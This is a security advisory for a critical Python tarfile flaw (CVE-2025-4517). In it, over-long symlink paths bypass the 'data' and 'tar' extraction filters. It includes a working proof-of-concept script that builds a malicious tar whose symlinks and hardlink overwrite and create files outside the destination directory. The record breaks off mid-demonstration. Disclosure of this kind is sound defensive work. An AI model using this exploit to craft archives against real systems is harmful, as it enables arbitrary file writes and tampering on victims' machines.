Python - Tarfile Realpath Overflow Vulnerability
CriticalCVE-2025-4517 · Published Jun 20, 2025 · updated Sep 13, 2025
### Summary Python's `TarFile.extractall()` and `TarFile.extract()` methods support a feature that allows a filter to be set to improve the safety of using these methods. Python's standard library provides two implementations `tar_filter` ("tar") and `data_filter` ("data"), each with differing checks to improve the safety of tarfile extraction. A bug exists when processing a path with symlinks is shorter than `PATH_MAX`, but longer than `PATH_MAX` when the symlinks are substituted by `os.path.realpath()`. Any symlinks that are beyond `PATH_MAX` are not expanded. `os.path.realpath()` is used by the "tar" and "data" filter to validate the path, but no error is thrown if PATH_MAX is exceeded. Later during `extractall()` or `extract()` the paths are used without passing them through `os.path.realpath()`. This bug allows for arbitrary file reads and writes outside of the destination path. It has been tested successfully on Linux and OSX. ### Severity Critical - Anyone using the `TarFile.extractall()` or `TarFile.extract()` with `filter="data"` or `filter="tar"`, directly or indirectly, must patch immediately, or introduce other mitigating controls. ### Proof of Concept This proof-o...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Tarfile Product | >= 3.8.20 | No fix yet |
Details and references
### Summary Python's `TarFile.extractall()` and `TarFile.extract()` methods support a feature that allows a filter to be set to improve the safety of using these methods. Python's standard library provides two implementations `tar_filter` ("tar") and `data_filter` ("data"), each with differing checks to improve the safety of tarfile extraction. A bug exists when processing a path with symlinks is shorter than `PATH_MAX`, but longer than `PATH_MAX` when the symlinks are substituted by `os.path.realpath()`. Any symlinks that are beyond `PATH_MAX` are not expanded. `os.path.realpath()` is used by the "tar" and "data" filter to validate the path, but no error is thrown if PATH_MAX is exceeded. Later during `extractall()` or `extract()` the paths are used without passing them through `os.path.realpath()`. This bug allows for arbitrary file reads and writes outside of the destination path. It has been tested successfully on Linux and OSX. ### Severity Critical - Anyone using the `TarFile.extractall()` or `TarFile.extract()` with `filter="data"` or `filter="tar"`, directly or indirectly, must patch immediately, or introduce other mitigating controls. ### Proof of Concept This proof-of-concept assumes it is being run under `/home/username`. The tar file created in this PoC will modify the `/home/username/flag/flag` file that exists outside of the destination path the tar file is extracted into. The tar file will also create `/home/username/flag/newfile`. The PoC has been successfully run in Python 3.12.3 and Python 3.13.3 on Linux and Python 3.13.0 on OSX. 1. Prepare the environment ```shell $ pwd /home/username $ mkdir flag $ echo "hello world" > flag/flag ``` 2. Prepare the tar file Open a Python interpreter and run the following code (can be copy and pasted). ```Python import tarfile import os import io import sys # 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896 # on OSX), leaving 128 bytes for a prefix and at least a few chars of the link comp = 'd' * (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" path = "" with tarfile.open("poc.tar", mode="x") as tar: # populate the symlinks and dirs that expand in os.path.realpath() for i in steps: a = tarfile.TarInfo(os.path.join(path, comp)) a.type = tarfile.DIRTYPE tar.addfile(a) b = tarfile.TarInfo(os.path.join(path, i)) b.type = tarfile.SYMTYPE b.linkname = comp tar.addfile(b) path = os.path.join(path, comp) # create the final symlink that exceeds PATH_MAX and simply points to the # top dir. this allows *any* path to be appended. # this link will never be expanded by os.path.realpath(), nor anything after it. linkpath = os.path.join("/".join(steps), "l"*254) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE l.linkname = ("../" * len(steps)) tar.addfile(l) # make a symlink outside to keep the tar command happy e = tarfile.TarInfo("escape") e.type = tarfile.SYMTYPE e.linkname = linkpath + "/../flag" tar.addfile(e) # use the symlinks above, that are not checked, to create a hardlink # to a file outside of the destination path f = tarfile.TarInfo("flaglink") f.type = tarfile.LNKTYPE f.linkname = "escape/flag" tar.addfile(f) # now that we have the hardlink we can overwrite the file content = b"overwrite\n" c = tarfile.TarInfo("flaglink") c.type = tarfile.REGTYPE c.size = len(content) tar.addfile(c, fileobj=io.BytesIO(content)) # we can also create new files as well! content = b"new!\n" n = tarfile.TarInfo("escape/newfile") n.type = tarfile.REGTYPE n.size = len(content) tar.addfile(n, fileobj=io.BytesIO(content)) ``` 3. Extract the tarfile ```Shell $ pwd /home/username $ ls flag # check the flag dir and file are unchanged flag $ cat flag
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Aug 142025 | tar-fs Link Directory Traversal Vulnerability | Critical | 3.0.9 |
| Jul 312025 | Python Tar Filter Bypass Vulnerability | High7.5 | No fix yet |
| Jun 232025 | OpenAI Operator - Stealing information in a cross-origin iframe | Medium | No fix yet |
| Jun 122025 | OpenAI Operator - Locking Operator on FullScreen | Medium | No fix yet |
| May 282025 | OpenAI Operator - Exfiltration of Cross-origin URL | High | No fix yet |
| May 152025 | Oracle VM VirtualBox - VM escape via VGA device | High8.1 | No fix yet |